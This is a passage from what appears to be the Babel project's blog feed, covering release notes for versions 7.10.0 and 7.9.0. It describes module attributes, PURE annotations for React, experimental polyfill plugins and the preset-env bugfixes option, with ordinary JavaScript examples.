<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">metadata</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./package.json"</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Additionally, they can also be used with dynamic <code>import()</code>. Note the support for trailing commas to make it easier to add or remove the second parameter!</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> metadata </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token string" style="color:#718c00">"./package.json"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Thanks to <a href="https://twitter.com/VivekNayyar09/" target="_blank" rel="noopener noreferrer">Vivek</a>, Babel now supports parsing these attributes: you can add the <code>@babel/plugin-syntax-module-attributes</code> plugin to your Babel config or, if you are using <code>@babel/parser</code> directly, you can enable the <code>moduleAttributes</code> plugin. Currently, we only accept the <code>type</code> attribute but we might relax this restriction in the future depending on how the proposal evolves.</p>
<div class="theme-admonition theme-admonition-info admonition_WCGJ alert alert--info"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>info</div><div class="admonitionContent_pbrs"><p>Babel doesn't <em>transform</em> these attributes, and they should be handled directly by your bundler or a custom plugin. Currently babel module transformers <em>ignore</em> these attributes. We are <a href="https://github.com/airbnb/babel-plugin-dynamic-import-node/issues/92" target="_blank" rel="noopener noreferrer">discussing</a> whether we should pass through these attributes in the future.</p></div></div>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="better-tree-shaking-for-react-components-11428">Better tree-shaking for React components (<a href="https://github.com/babel/babel/pull/11428" target="_blank" rel="noopener noreferrer">#11428</a>)<a href="https://babeljs.io/blog/2020/05/25/7.10.0#better-tree-shaking-for-react-components-11428" class="hash-link" aria-label="Direct link to better-tree-shaking-for-react-components-11428" title="Direct link to better-tree-shaking-for-react-components-11428">​</a></h2>
<p>React exposes <a href="https://github.com/babel/babel/blob/97f0b7c4a0589cf3cf1dae62fb09d1b7f1253829/packages/babel-plugin-transform-react-pure-annotations/src/index.js#L10" target="_blank" rel="noopener noreferrer">many</a> pure functions used to annotate or wrap elements, for example <code>React.forwardRef</code>, <code>React.memo</code> or <code>React.lazy</code>. However, minifiers and bundlers aren't aware that these functions are pure and thus they cannot remove them.</p>
<p>Thanks to <a href="https://twitter.com/devongovett" target="_blank" rel="noopener noreferrer">Devon</a> from the Parcel team, <code>@babel/preset-react</code> now injects <code>/*#__PURE__*/</code> annotations in those functions calls to mark them as being safe to be tree-shaken away. We had only previously done this with JSX itself (<code>&lt;a&gt;&lt;/a&gt;</code> =&gt; <code>/*#__PURE__*/React.createElement("a", null)</code>)</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports maybe-class-name">React</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">'react'</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token maybe-class-name">SomeComponent</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token maybe-class-name">React</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">lazy</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">'./SomeComponent'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports maybe-class-name">React</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">'react'</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token maybe-class-name">SomeComponent</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">/*#__PURE__*/</span><span class="token maybe-class-name">React</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">lazy</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">'./SomeComponent'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="new-experimental-polyfills-architecture-10008-babel-polyfills">New experimental polyfills architecture (<a href="https://github.com/babel/babel/issues/10008" target="_blank" rel="noopener noreferrer">#10008</a>, <a href="https://github.com/babel/babel-polyfills" target="_blank" rel="noopener noreferrer"><code>babel-polyfills</code></a>)<a href="https://babeljs.io/blog/2020/05/25/7.10.0#new-experimental-polyfills-architecture-10008-babel-polyfills" class="hash-link" aria-label="Direct link to new-experimental-polyfills-architecture-10008-babel-polyfills" title="Direct link to new-experimental-polyfills-architecture-10008-babel-polyfills">​</a></h2>
<p>In the last three years, <code>@babel/preset-env</code> has helped users reduce bundle sizes by only transpiling the syntax features and including the <code>core-js</code> polyfills needed by their target environments.
Currently Babel has three different ways to inject <code>core-js</code> polyfills in the source code:</p>
<ul>
<li>By using <code>@babel/preset-env</code>'s <code>useBuiltIns: "entry"</code> option, it is possible to inject polyfills for every ECMAScript functionality not natively supported by the target browsers;</li>
<li>By using <code>useBuiltIns: "usage"</code>, Babel will only inject polyfills for unsupported ECMAScript features but <em>only</em> if they are actually used in the input souce code;</li>
<li>By using <code>@babel/plugin-transform-runtime</code>, Babel will inject po<i>n</i>yfills (which are "pure" and don't pollute the global scope) for every used ECMAScript feature supported by <code>core-js</code>. This is usually used by library authors.</li>
</ul>
<p>Our position in the JavaScript ecosystem allows us to push these optimizations even further. <code>@babel/plugin-transform-runtime</code> has big advantages for some users over <code>useBuiltIns</code>, but it doesn't consider target environments: it's 2020 and probably very few people need to load an <code>Array.prototype.forEach</code> polyfill.</p>
<p>Additionally, why should we limit the ability to automatically inject only the necessary polyfills to <code>core-js</code>? There are also DOM polyfills, Intl polyfills, and polyfills for a myriad of other web platform APIs. Not everyone wants to use <code>core-js</code>; there are many other valid ECMAScript polyfills which have different tradeoffs (e.g. source size versus spec compliancy), and users should have the ability to use the polyfill of their choice. For example, we are actively working on an <a href="https://github.com/es-shims/" target="_blank" rel="noopener noreferrer"><strong><code>es-shims</code></strong></a> integration.</p>
<p>What if the logic to inject them was not related to the actual data about the available or required polyfills, so that they can be used and developed independently?</p>
<p>We are now releasing the first experimental version of four new packages:</p>
<ul>
<li><a href="https://github.com/babel/babel-polyfills/blob/main/packages/babel-plugin-polyfill-corejs3/README.md" target="_blank" rel="noopener noreferrer"><code>babel-plugin-polyfill-corejs3</code></a></li>
<li><a href="https://github.com/babel/babel-polyfills/blob/main/packages/babel-plugin-polyfill-es-shims/README.md" target="_blank" rel="noopener noreferrer"><code>babel-plugin-polyfill-es-shims</code></a></li>
<li><a href="https://github.com/babel/babel-polyfills/blob/main/packages/babel-plugin-polyfill-regenerator/README.md" target="_blank" rel="noopener noreferrer"><code>babel-plugin-polyfill-regenerator</code></a></li>
<li><a href="https://github.com/babel/babel-polyfills/blob/main/packages/babel-plugin-polyfill-corejs2/README.md" target="_blank" rel="noopener noreferrer"><code>babel-plugin-polyfill-corejs2</code></a> (legacy)</li>
</ul>
<p>These packages all support a <code>method</code> option for adjusting how they're injected (analogous to what <code>@babel/preset-env</code> and <code>@babel/plugin-transform-runtime</code> currently offer). You can inject a polyfill into an entry point (global scope only) or by direct usage in your code (both global scope and "pure" options). Below is a custom <a href="https://001iy.csb.app/" target="_blank" rel="noopener noreferrer">CodeSandbox</a> where you can try out the differences between the polyfill options.</p>
<p><a href="https://001iy.csb.app/" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="https://user-images.githubusercontent.com/588473/82951506-4a043080-9f75-11ea-969b-3ac2cd0007ed.png" alt="image" class="img_SS3x"></a></p>
<p>We are also releasing <a href="https://github.com/babel/babel-polyfills/blob/main/packages/babel-helper-define-polyfill-provider/README.md" target="_blank" rel="noopener noreferrer"><code>@babel/helper-define-polyfill-provider</code></a>: a new helper package which makes it possible for polyfill authors and users to define <em>their own</em> polyfill provider plugins.</p>
<p>Big thanks to <a href="https://twitter.com/ljharb" target="_blank" rel="noopener noreferrer">Jordan</a> for working with <a href="https://twitter.com/NicoloRibaudo" target="_blank" rel="noopener noreferrer">Nicolò</a> to make it possible to build the <a href="https://github.com/es-shims/" target="_blank" rel="noopener noreferrer"><strong><code>es-shims</code></strong></a> plugin!</p>
<div class="theme-admonition theme-admonition-tip admonition_WCGJ alert alert--success"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_pbrs"><p>If you want to read more about these packages, and learn how to set them up, you can check out the project's <a href="https://github.com/babel/babel-polyfills/blob/main/README.md" target="_blank" rel="noopener noreferrer"><code>README</code></a>.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>These packages are still experimental. We would appreciate feedback about them either on Twitter or on GitHub, but they are not ready for production yet. For example, we still need to wire some polyfills, and we haven't tested the plugins in production applications yet.</p></div></div>]]></content>
        <author>
            <name>Nicolò Ribaudo</name>
            <uri>https://twitter.com/NicoloRibaudo</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.9.0 Released: Smaller preset-env output, Typescript 3.8 support and a new JSX transform]]></title>
        <id>https://babeljs.io/blog/2020/03/16/7.9.0</id>
        <link href="https://babeljs.io/blog/2020/03/16/7.9.0"/>
        <updated>2020-03-20T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[While preparing the Babel 8.0.0 release (in the next months), we just finished working on a new minor release which includes updates related to @babel/preset-env, TypeScript 3.8, Flow, and JSX!]]></summary>
        <content type="html"><![CDATA[<p>While preparing the Babel 8.0.0 <a href="https://github.com/babel/babel/issues/10746" target="_blank" rel="noopener noreferrer">release</a> (in the next months), we just finished working on a new minor release which includes updates related to <code>@babel/preset-env</code>, TypeScript 3.8, Flow, and JSX!</p>
<p>A few months ago, <a href="https://twitter.com/_developit" target="_blank" rel="noopener noreferrer">Jason Miller</a> started working on <a href="https://github.com/babel/preset-modules" target="_blank" rel="noopener noreferrer"><code>@babel/preset-modules</code></a>: an experiment to greatly reduce bundle sizes when using the <a href="https://css-tricks.com/differential-serving/" target="_blank" rel="noopener noreferrer"><code>module</code>/<code>nomodule</code> pattern</a>. We are excited to announce that its functionality has now been merged into <code>@babel/preset-env</code>! This means that its optimizations can be applied to all <code>preset-env</code> targets values, without a separate preset.</p>
<p><em>Note: These optimizations will be enabled by default in Babel 8. They can be manually enabled in Babel 7.9 by passing in the option <code>{ bugfixes: true }</code> to <code>preset-env</code>.</em></p>
<p>This release also has full support for <a href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-8.html" target="_blank" rel="noopener noreferrer">TypeScript 3.8</a>, which introduced explicit type-only imports and exports (i.e. <code>export type { foo }</code>), and for <a href="https://github.com/facebook/flow/blob/master/Changelog.md#01201" target="_blank" rel="noopener noreferrer">Flow 0.120</a>, which introduced the <code>declare</code> modifier for class fields (i.e. <code>class C { declare foo: string }</code>).</p>
<p>We also worked with the React team to provide a new <a href="https://github.com/reactjs/rfcs/blob/createlement-rfc/text/0000-create-element-changes.md" target="_blank" rel="noopener noreferrer">JSX transform</a>, which will make it possible for React and React-like libraries to further optimize the creation of JSX elements with the addition of the <code>jsx</code> function vs. <code>React.createElement</code>.</p>
<p>Lastly, <code>@babel/parser</code> now supports an additional ECMAScript proposal: <a href="https://github.com/tc39/proposal-record-tuple" target="_blank" rel="noopener noreferrer">Record &amp; Tuple</a>. Please note that this is only parser support, and the transforms are still being worked on.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.9.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<hr>
<p>Special thanks go to <a href="https://twitter.com/lunaruan" target="_blank" rel="noopener noreferrer">Luna Ruan</a> from the React Team (<a href="https://opensource.facebook.com/" target="_blank" rel="noopener noreferrer">Facebook</a>) for contributing the new JSX transform, and <a href="https://twitter.com/rickbutton" target="_blank" rel="noopener noreferrer">Rick Button</a> (<a href="https://www.techatbloomberg.com/" target="_blank" rel="noopener noreferrer">Bloomberg</a>) who implemented parser support for the <a href="https://github.com/tc39/proposal-record-tuple" target="_blank" rel="noopener noreferrer">Record &amp; Tuple</a> proposal!</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="babelpreset-envs-bugfixes-option-11083"><code>@babel/preset-env</code>'s <code>bugfixes</code> option (<a href="https://github.com/babel/babel/pull/11083" target="_blank" rel="noopener noreferrer">#11083</a>)<a href="https://babeljs.io/blog/2020/03/16/7.9.0#babelpreset-envs-bugfixes-option-11083" class="hash-link" aria-label="Direct link to babelpreset-envs-bugfixes-option-11083" title="Direct link to babelpreset-envs-bugfixes-option-11083">​</a></h2>
<p>The new <code>bugfixes</code> option in <code>@babel/preset-env</code> is the successor to using <code>@babel/preset-modules</code> directly.</p>
<blockquote>
<p>If you want more context about the issues that this change helps with, we'd suggest you listen to (or read) the recently published podcast episodes with Jason: <a href="https://podcast.babeljs.io/preset-env/" target="_blank" rel="noopener noreferrer">#2 Modern JavaScript and the Future of preset-env</a> and <a href="https://podcast.babeljs.io/dependencies" target="_blank" rel="noopener noreferrer">#3 Compiling Your Dependencies</a>.</p>
</blockquote>
<p>Until now, <code>@babel/preset-env</code> (and Babel plugins in general) grouped ECMAScript syntax features into collections of closely related smaller features. These groups can be large and include a lot of edge cases. For example, the "function arguments" group and plugin includes destructured, default and rest parameters.</p>
<p>From this grouping information, Babel enables or disables each group based on the browser support target you specify to <code>@babel/preset-env</code>’s <code>targets</code> option.</p>
<p>Here's the <em>problem</em>: if any version of any browser in that list contains a bug triggered by modern syntax, the only solution (that we considered at the time) was to enable the corresponding transform group that fixes that bug.</p>
<p>Over time more bugs would eventually be uncovered and reported to our issues, which caused <code>preset-env</code> to output more code for the sake of these edge cases. In the worst case, it meant that the output was the same as  just compiling everything to ES5, which <code>preset-env</code> was created to help prevent.</p>
<p>When the <code>bugfixes: true</code> option is enabled, <code>@babel/preset-env</code> takes a different approach: it transpiles the broken syntax to the closest <em>non-broken modern syntax</em>.</p>
<p>For example: all of the new syntax features relating to function parameters are grouped into the same Babel plugin (<code>@babel/plugin-transform-function-parameters</code>). When targeting <code>edge 16</code>, it has a bug related to parsing shorthand destructured parameters with default values within arrow functions:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// this breaks in Edge 16:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:#4271ae">foo</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token parameter punctuation" style="color:#f5871f">{</span><span class="token parameter" style="color:#f5871f"> a </span><span class="token parameter operator" style="color:#f5871f">=</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter number" style="color:#f5871f">1</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter punctuation" style="color:#f5871f">}</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// .. but this doesn't:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">foo</span><span class="token punctuation">(</span><span class="token parameter punctuation" style="color:#f5871f">{</span><span class="token parameter" style="color:#f5871f"> a </span><span class="token parameter operator" style="color:#f5871f">=</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter number" style="color:#f5871f">1</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> b </span><span class="token parameter punctuation" style="color:#f5871f">}</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter spread operator" style="color:#f5871f">...</span><span class="token parameter" style="color:#f5871f">args</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// ... and neither does this:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:#4271ae">foo</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token parameter punctuation" style="color:#f5871f">{</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter literal-property property" style="color:#f5871f">a</span><span class="token parameter operator" style="color:#f5871f">:</span><span class="token parameter" style="color:#f5871f"> a </span><span class="token parameter operator" style="color:#f5871f">=</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter number" style="color:#f5871f">1</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter punctuation" style="color:#f5871f">}</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>This means that if we give <code>@babel/preset-env</code> this input and targeted Edge 16:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:#4271ae">foo</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token parameter punctuation" style="color:#f5871f">{</span><span class="token parameter" style="color:#f5871f"> a </span><span class="token parameter operator" style="color:#f5871f">=</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter number" style="color:#f5871f">1</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter punctuation" style="color:#f5871f">}</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> b </span><span class="token parameter operator" style="color:#f5871f">=</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter number" style="color:#f5871f">2</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter spread operator" style="color:#f5871f">...</span><span class="token parameter" style="color:#f5871f">args</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">a</span><span class="token punctuation">,</span><span class="token plain"> b</span><span class="token punctuation">,</span><span class="token plain"> args</span><span class="token punctuation">]</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>It transforms it down to ES5-like parameters:</p>
